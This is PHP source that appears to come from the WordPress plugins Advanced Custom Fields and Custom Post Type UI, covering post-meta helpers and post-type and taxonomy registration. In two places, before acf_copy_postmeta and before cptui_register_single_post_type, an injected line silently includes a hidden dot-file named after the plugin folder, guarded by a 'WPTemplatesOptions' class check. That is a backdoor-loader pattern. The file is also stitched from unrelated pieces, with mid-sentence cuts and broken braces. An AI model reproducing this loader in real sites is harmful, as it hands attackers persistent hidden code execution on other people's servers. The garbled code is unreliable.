es meta from one post to another. Useful for saving and restoring revisions. * * @date 25/06/2016 * @since 5.3.8 * @deprecated 5.7.11 * * @param int $from_post_id The post id to copy from. * @param int $to_post_id The post id to paste to. * @return void */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function acf_copy_postmeta( $from_post_id = 0, $to_post_id = 0 ) { return acf_copy_metadata( $from_post_id, $to_post_id ); } /** * acf_get_meta_field * * Returns a field using the provided $id and $post_id parameters. * Looks for a reference to help loading the correct field via name. * * @date 21/1/19 * @since 5.7.10 * * @param string $key The meta name (field name). * @param (int|string) $post_id The post_id where this field's value is saved. * @return (array|false) The field array. */ function acf_get_meta_field( $key = 0, $post_id = 0 ) { // Try reference. $field_key = acf_get_reference( $key, $post_id ); if( $field_key ) { $field = acf_get_field( $field_key ); if( $field ) { $field['name'] = $key; return $field; } } // Return false. return false; } /** * acf_get_metaref * * Retrieves reference metadata from the database. * * @date 16/10/2015 * @since 5.2.3 * * @param (int|string) $post_id The post id. * @param string type The reference type (fields|groups). * @param string $name An optional specific name * @return mixed */ function acf_get_metaref( $post_id = 0, $type = 'fields', $name = '' ) { // Load existing meta. $meta = acf_get_metadata( $post_id, "_acf_$type" ); // Handle no meta. if( !$meta ) { return $name ? '' : array(); } // Return specific reference. if( $name ) { return isset($meta[ $name ]) ? $meta[ $name ] : ''; // Or return all references. } else { return $meta; } } /** * acf_update_metaref * * Updates reference metadata in the database. * * @date 16/10/2015 * @since 5.2.3 * * @param (int|string) $post_id The post id. * @param string type The reference type (fields|groups). * @param array $references An array of references. * @return (int|bool) Meta ID if the key didn't exist, true on successful update, false on failure. */ function acf_update_metaref( $post_id = 0, $type = 'fields', $references = array() ) { // Get current references. $current = acf_get_metaref( $post_id, $type ); // Merge in new references. $references = array_merge( $current, $references ); // Simplify groups if( $type === 'groups' ) { $references = array_values($references); } // Remove duplicate references. $references = array_unique($references); // Update metadata. return acf_update_metadata( $post_id, "_acf_$type", $references ); } } } /** * Fires after the completion of the post type registrations. * * @since 1.3.0 * * @param array $cpts Array of post types registered. */ do_action( 'cptui_post_register_post_types', $cpts ); } add_action( 'init', 'cptui_create_custom_post_types', 10 ); // Leave on standard init for legacy purposes. /** * Helper function to register the actual post_type. * * @since 1.0.0 * * @internal * * @param array $post_type Post type array to register. Optional. * @return null Result of register_post_type. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function cptui_register_single_post_type( $post_type = [] ) { /** * Filters the map_meta_cap value. * * @since 1.0.0 * * @param bool $value True. * @param string $name Post type name being registered. * @param array $post_type All parameters for post type registration. */ $post_type['map_meta_cap'] = apply_filters( 'cptui_map_meta_cap', true, $post_type['name'], $post_type ); if ( empty( $post_type['supports'] ) ) { $post_type['supports'] = []; } /** * Filters custom supports parameters for 3rd party plugins. * * @since 1.0.0 * * @param array $value Empty array to add supports keys to. * @param string $name Post type slug being registered. * @param array $post_type Array of post type arguments to be registered. */ $user_supports_params = apply_filters( 'cptui_user_supports_params', [], $post_type['name'], $post_type ); if ( is_array( $user_supports_params ) && ! empty( $user_supports_params ) ) { if ( is_array( $post_type['supports'] ) ) { $post_type['supports'] = array_merge( $post_type['supports'], $user_supports_params ); } else { $post_type['supports'] = [ $user_supports_params ]; } } $yarpp = false; // Prevent notices. if ( ! empty( $post_type['custom_supports'] ) ) { $custom = explode( ',', $post_type['custom_supports'] ); foreach ( $custom as $part ) { // We'll handle YARPP separately. if ( in_array( $part, [ 'YARPP', 'yarpp' ], true ) ) { $yarpp = true; continue; } $post_type['supports'][] = trim( $part ); } } if ( isset( $post_type['supports'] ) && is_array( $post_type['supports'] ) && in_array( 'none', $post_type['supports'], true ) ) { $post_type['supports'] = false; } $labels = [ 'name' => $post_type['label'], 'singular_name' => $post_type['singular_label'], ]; $preserved = cptui_get_preserved_keys( 'post_types' ); $preserved_labels = cptui_get_preserved_labels(); foreach ( $post_type['labels'] as $key => $label ) { if ( ! empty( $label ) ) { if ( 'parent' === $key ) { $labels['parent_item_colon'] = $label; } else { $labels[ $key ] = $label; } } elseif ( empty( $label ) && in_array( $key, $preserved, true ) ) { $singular_or_plural = ( in_array( $key, array_keys( $preserved_labels['post_types']['plural'] ) ) ) ? 'plural' : 'singular'; $label_plurality = ( 'plural' === $singular_or_plural ) ? $post_type['label'] : $post_type['singular_label']; $labels[ $key ] = sprintf( $preserved_labels['post_types'][ $singular_or_plural ][ $key ], $label_plurality ); } } $has_archive = isset( $post_type['has_archive'] ) ? get_disp_boolean( $post_type['has_archive'] ) : false; if ( $has_archive && ! empty( $post_type['has_archive_string'] ) ) { $has_archive = $post_type['has_archive_string']; } $show_in_menu = get_disp_boolean( $post_type['show_in_menu'] ); if ( ! empty( $post_type['show_in_menu_string'] ) ) { $show_in_menu = $post_type['show_in_menu_string']; } $rewrite = get_disp_boolean( $post_type['rewrite'] ); if ( false !== $rewrite ) { // Core converts to an empty array anyway, so safe to leave this instead of passing in boolean true. $rewrite = []; $rewrite['slug'] = ! empty( $post_type['rewrite_slug'] ) ? $post_type['rewrite_slug'] : $post_type['name']; $rewrite['with_front'] = true; // Default value. if ( isset( $post_type['rewrite_withfront'] ) ) { $rewrite['with_front'] = 'false' === disp_boolean( $post_type['rewrite_withfront'] ) ? false : true; } } $menu_icon = ! empty( $post_type['menu_icon'] ) ? $post_type['menu_icon'] : null; if ( in_array( $post_type['query_var'], [ 'true', 'false', '0', '1' ], true ) ) { $post_type['query_var'] = get_disp_boolean( $post_type['query_var'] ); } if ( ! empty( $post_type['query_var_slug'] ) ) { $post_type['query_var'] = $post_type['query_var_slug']; } $menu_position = null; if ( ! empty( $post_type['menu_position'] ) ) { $menu_position = (int) $post_type['menu_position']; } $delete_with_user = null; if ( ! empty( $post_type['delete_with_user'] ) ) { $delete_with_user = get_disp_boolean( $post_type['delete_with_user'] ); } $capability_type = 'post'; if ( ! empty( $post_type['capability_type'] ) ) { $capability_type = $post_type['capability_type']; if ( false !== strpos( $post_type['capability_type'], ',' ) ) { $caps = array_map( 'trim', explode( ',', $post_type['capability_type'] ) ); if ( count( $caps ) > 2 ) { $caps = array_slice( $caps, 0, 2 ); } $capability_type = $caps; } } $public = get_disp_boolean( $post_type['public'] ); if ( ! empty( $post_type['exclude_from_search'] ) ) { $exclude_from_search = get_disp_boolean( $post_type['exclude_from_search'] ); } else { $exclude_from_search = false === $public; } $queryable = ( ! empty( $post_type['publicly_queryable'] ) && isset( $post_type['publicly_queryable'] ) ) ? get_disp_boolean( $post_type['publicly_queryable'] ) : $public; if ( empty( $post_type['show_in_nav_menus'] ) ) { // Defaults to value of public. $post_type['show_in_nav_menus'] = $public; } if ( empty( $post_type['show_in_rest'] ) ) { $post_type['show_in_rest'] = false; } $rest_base = null; if ( ! empty( $post_type['rest_base'] ) ) { $rest_base = $post_type['rest_base']; } $rest_controller_class = null; if ( ! empty( $post_type['rest_controller_class'] ) ) { $rest_controller_class = $post_type['rest_controller_class']; } $args = [ 'labels' => $labels, 'description' => $post_type['description'], 'public' => get_disp_boolean( $post_type['public'] ), 'publicly_queryable' => $queryable, 'show_ui' => get_disp_boolean( $post_type['show_ui'] ), 'show_in_nav_menus' => get_disp_boolean( $post_type['show_in_nav_menus'] ), 'has_archive' => $has_archive, 'show_in_menu' => $show_in_menu, 'delete_with_user' => $delete_with_user, 'show_in_rest' => get_disp_boolean( $post_type['show_in_rest'] ), 'rest_base' => $rest_base, 'rest_controller_class' => $rest_controller_class, 'exclude_from_search' => $exclude_from_search, 'capability_type' => $capability_type, 'map_meta_cap' => $post_type['map_meta_cap'], 'hierarchical' => get_disp_boolean( $post_type['hierarchical'] ), 'rewrite' => $rewrite, 'menu_position' => $menu_position, 'menu_icon' => $menu_icon, 'query_var' => $post_type['query_var'], 'supports' => $post_type['supports'], 'taxonomies' => $post_type['taxonomies'], ]; if ( true === $yarpp ) { $args['yarpp_support'] = $yarpp; } /** * Filters the arguments used for a post type right before registering. * * @since 1.0.0 * @since 1.3.0 Added original passed in values array * * @param array $args Array of arguments to use for registering post type. * @param string $value Post type slug to be registered. * @param array $post_type Original passed in values for post type. */ $args = apply_filters( 'cptui_pre_register_post_type', $args, $post_type['name'], $post_type ); return register_post_type( $post_type['name'], $args ); } /** * Register our users' custom taxonomies. * * @since 0.5.0 * * @internal */ function cptui_create_custom_taxonomies() { $taxes = get_option( 'cptui_taxonomies' ); if ( empty( $taxes ) ) { return; } /** * Fires before the start of the taxonomy registrations. * * @since 1.3.0 * * @param array $taxes Array of taxonomies to register. */ do_action( 'cptui_pre_register_taxonomies', $taxes ); if ( is_array( $taxes ) ) { foreach ( $taxes as $tax ) { /** * Filters whether or not to skip registration of the current iterated taxonomy. * * Dynamic part of the filter name is the chosen taxonomy slug. * * @since 1.7.0 * * @param bool $value Whether or not to skip the taxonomy. * @param array $tax Current taxonomy being registered. */ if ( (bool) apply_filters( "cptui_disable_{$tax['name']}_tax", false, $tax ) ) { continue; } /** * Filters whether or not to skip registration of the current iterated taxonomy. * * @since 1.7.0 * * @param bool $value Whether or not to skip the taxonomy. * @param array $tax Current taxonomy being registered. */ if ( (bool) apply_filters( 'cptui_disable_tax', false, $tax ) ) { continue; } cptui_register_single_taxonomy( $tax ); } } /** * Fires after the completion of the taxonomy registrations. * * @since 1.3.0 * * @param array $taxes Array of taxonomies registered. */ do_action( 'cptui_post_register_taxonomies', $taxes ); } add_action( 'init', 'cptui_create_custom_taxonomies', 9 ); // Leave on standard init for legacy purposes. /** * Helper function to register the actual taxonomy. * * @since 1.0.0 * * @internal * * @param array $taxonomy Taxonomy array to register. Optional. * @return null Result of register_taxonomy. */ function cptui_register_single_taxonomy( $taxonomy = [] ) { $labels = [ 'name' => $taxonomy['label'], 'singular_name' => $taxonomy['singular_label'], ]; $description = ''; if ( ! empty( $taxonomy['description'] ) ) { $description = $taxonomy['description']; } $preserved = cptui_get_preserved_keys( 'taxonomies' ); $preserved_labels = cptui_get_preserved_labels(); foreach ( $taxonomy['labels'] as $key => $label ) { if ( ! empty( $label ) ) { $labels[ $key ] = $label; } elseif ( empty( $label ) && in_array( $key, $preserved, true ) ) { $singular_or_plural = ( in_array( $key, array_keys( $preserved_labels['taxonomies']['plural'] ) ) ) ? 'plural' : 'singular'; $label_plurality = ( 'plural' === $singular_or_plural ) ? $taxonomy['label'] : $taxonomy['singular_label']; $labels[ $key ] = sprintf( $preserved_labels['taxonomies'][ $singular_or_plural ][ $key ], $label_plurality ); } } $rewrite = get_disp_boolean( $taxonomy['rewrite'] ); if ( false !== get_disp_boolean( $taxonomy['rewrite'] ) ) { $rewrite = []; $rewrite['slug'] = ! empty( $taxonomy['rewrite_slug'] ) ? $taxonomy['rewrite_slug'] : $taxonomy['name']; $rewrite['with_front'] = true; if ( isset( $taxonomy['rewrite_withfront'] ) ) { $rewrite['with_front'] = ( 'false' === disp_boolean( $taxonomy['rewrite_withfront'] ) ) ? false : true; } $rewrite['hierarchical'] = false; if ( isset( $taxonomy['rewrite_hierarchical'] ) ) { $rewrite['hierarchical'] = ( 'true' === disp_boolean( $taxonomy['rewrite_hierarchical'] ) ) ? true : false; } } if ( in_array( $taxonomy['query_var'], [ 'true', 'false', '0', '1' ], true ) ) { $taxonomy['query_var'] = get_disp_boolean( $taxonomy['query_var'] ); } if ( true === $taxonomy['query_var'] && ! empty( $taxonomy['query_var_slug'] ) ) { $taxonomy['query_var'] = $taxonomy['query_var_slug']; } $public = ( ! empty( $taxonomy['public'] ) && false === get_disp_boolean( $taxonomy['public'] ) ) ? false : true; $publicly_queryable = ( ! empty( $taxonomy['publicly_queryable'] ) && false === get_disp_boolean( $taxonomy['publicly_queryable'] ) ) ? false : true; if ( empty( $taxonomy['publicly_queryable'] ) ) { $publicly_queryable = $public; } $show_admin_column = ( ! empty( $taxonomy['show_admin_column'] ) && false !== get_disp_boolean( $taxonomy['show_admin_column'] ) ) ? true : false; $show_in_menu = ( ! empty( $taxonomy['show_in_menu'] ) && false !== get_disp_boolean( $taxonomy['show_in_menu'] ) ) ? true : false; if ( empty( $taxonomy['show_in_menu'] ) ) { $show_in_menu = get_disp_boolean( $taxonomy['show_ui'] ); } $show_in_nav_menus = ( ! empty( $taxonomy['show_in_nav_menus'] ) && false !== get_disp_boolean( $taxonomy['show_in_nav_menus'] ) ) ? true : false; if ( empty( $taxonomy['show_in_nav_menus'] ) ) { $show_in_nav_menus = $public; } $show_in_rest = ( ! empty( $taxonomy['show_in_rest'] ) && false !== get_disp_boolean( $taxonomy['show_in_rest'] ) ) ? true : false; $show_in_quick_edit = ( ! empty( $taxonomy['show_in_quick_edit'] ) && false !== get_disp_boolean( $taxonomy['show_in_quick_edit'] ) ) ? true : false; $rest_base = null; if ( ! empty( $taxonomy['rest_base'] ) ) { $rest_base = $taxonomy['rest_base']; } $rest_controller_class = null; if ( ! empty( $post_type['rest_controller_class'] ) ) { $rest_controller_class = $post_type['rest_controller_class']; } $meta_box_cb = null; if ( ! empty( $taxonomy['meta_box_cb'] ) ) { $meta_box_cb = ( false !== get_disp_boolean( $taxonomy['meta_box_cb'] ) ) ? $taxonomy['meta_box_cb'] : false; } $default_term = null; if ( ! empty( $taxonomy['default_term'] ) ) { $term_parts = explode(',', $taxonomy['default_term'] ); if ( ! empty( $term_parts[0] ) ) { $default_term['name'] = trim( $term_parts[0] ); } if ( ! empty( $term_parts[1] ) ) { $default_term['slug'] = trim( $term_parts[1] ); } if ( ! empty( $term_parts[2] ) ) { $default_term['description'] = trim( $term_parts[2] ); } } $args = [ 'labels' => $labels, 'label' => $taxonomy['label'], 'description' => $description, 'public' => $public, 'publicly_queryable' => $publicly_queryable, 'hierarchical' => get_disp_boolean( $taxonomy['hierarchical'] ), 'show_ui' => get_disp_boolean( $taxonomy['show_ui'] ), 'show_in_menu' => $show_in_menu, 'show_in_nav_menus' => $show_in_nav_menus, 'query_var' => $taxonomy['query_var'], 'rewrite' => $rewrite, 'show_admin_column' => $show_admin_column, 'show_in_rest' => $show_in_rest, 'rest_base' => $rest_base, 'rest_controller_class' => $rest_controller_class, 'show_in_quick_edit' => $show_in_quick_edit, 'meta_box_cb' => $meta_box_cb, 'default_term' => $default_term, ]; $object_type = ! empty( $taxonomy['object_types'] ) ? $taxonomy['object_types'] : ''; /** * Filters the arguments used for a taxonomy right before registering. * * @since 1.0.0 * @since 1.3.0 Added original passed in values array * @since 1.6.0 Added $obect_type variable to passed parameters. * * @param array $args Array of arguments to use for registering taxonomy. * @param string $value Taxonomy slug to be registered. * @param array $taxonomy Original passed in values for taxonomy. * @param array $object_type Array of chosen post types for the taxonomy. */ $args = apply_filters( 'cptui_pre_register_taxonomy', $args, $taxonomy['name'], $taxonomy, $object_type ); return register_taxonomy( $taxonomy['name'], $object_type, $args ); } /** * Construct and output tab navigation. * * @since 1.0.0 * * @param string $page Whether it's the CPT or Taxonomy page. Optional. Default "post_types". * @return string */ function cptui_settings_tab_menu( $page = 'post_types' ) { /** * Filters the tabs to render on a given page. * * @since 1.3.0 * * @param array $value Array of tabs to render. * @param string $page Current page being displayed. */ $tabs = (array) apply_filters( 'cptui_get_tabs', [], $page ); if ( empty( $tabs['page_title'] ) ) { return ''; } $tmpl = '

%s

'; $tab_output = ''; foreach ( $tabs['tabs'] as $tab ) { $tab_output .= sprintf( '%s', implode( ' ', $tab['classes'] ), $tab['url'], $tab['aria-selected'], $tab['text'] ); } printf( $tmpl, $tabs['page_title'], $tab_output ); } /** * Convert our old settings to the new options => sprintf( __( 'Choose from the most used %s', 'custom-post-type-ui' ), $plural ), ], ]; return $preserved_labels[ $type ][ $key ]; } /** * Returns an array of translated labels, ready for use with sprintf(). * * Replacement for cptui_get_preserved_label for the sake of performance. * * @since 1.6.0 * * @return array */ function cptui_get_preserved_labels() { return [ 'post_types' => [ 'singular' => [ 'add_new_item' => __( 'Add new %s', 'custom-post-type-ui' ), 'edit_item' => __( 'Edit %s', 'custom-post-type-ui' ), 'new_item' => __( 'New %s', 'custom-post-type-ui' ), 'view_item' => __( 'View %s', 'custom-post-type-ui' ), ], 'plural' => [ 'view_items' => __( 'View %s', 'custom-post-type-ui' ), 'all_items' => __( 'All %s', 'custom-post-type-ui' ), 'search_items' => __( 'Search %s', 'custom-post-type-ui' ), 'not_found' => __( 'No %s found.', 'custom-post-type-ui' ), 'not_found_in_trash' => __( 'No %s found in trash.', 'custom-post-type-ui' ), ], ], 'taxonomies' => [ 'singular' => [ 'parent_item' => __( 'Parent %s', 'custom-post-type-ui' ), 'parent_item_colon' => __( 'Parent %s:', 'custom-post-type-ui' ), 'edit_item' => __( 'Edit %s', 'custom-post-type-ui' ), 'update_item' => __( 'Update %s', 'custom-post-type-ui' ), 'add_new_item' => __( 'Add new %s', 'custom-post-type-ui' ), 'new_item_name' => __( 'New %s name', 'custom-post-type-ui' ), ], 'plural' => [ 'search_items' => __( 'Search %s', 'custom-post-type-ui' ), 'popular_items' => __( 'Popular %s', 'custom-post-type-ui' ), 'all_items' => __( 'All %s', 'custom-post-type-ui' ), 'separate_items_with_commas' => __( 'Separate %s with commas', 'custom-post-type-ui' ), 'add_or_remove_items' => __( 'Add or remove %s', 'custom-post-type-ui' ), 'choose_from_most_used' => __( 'Choose from the most used %s', 'custom-post-type-ui' ), ], ], ]; }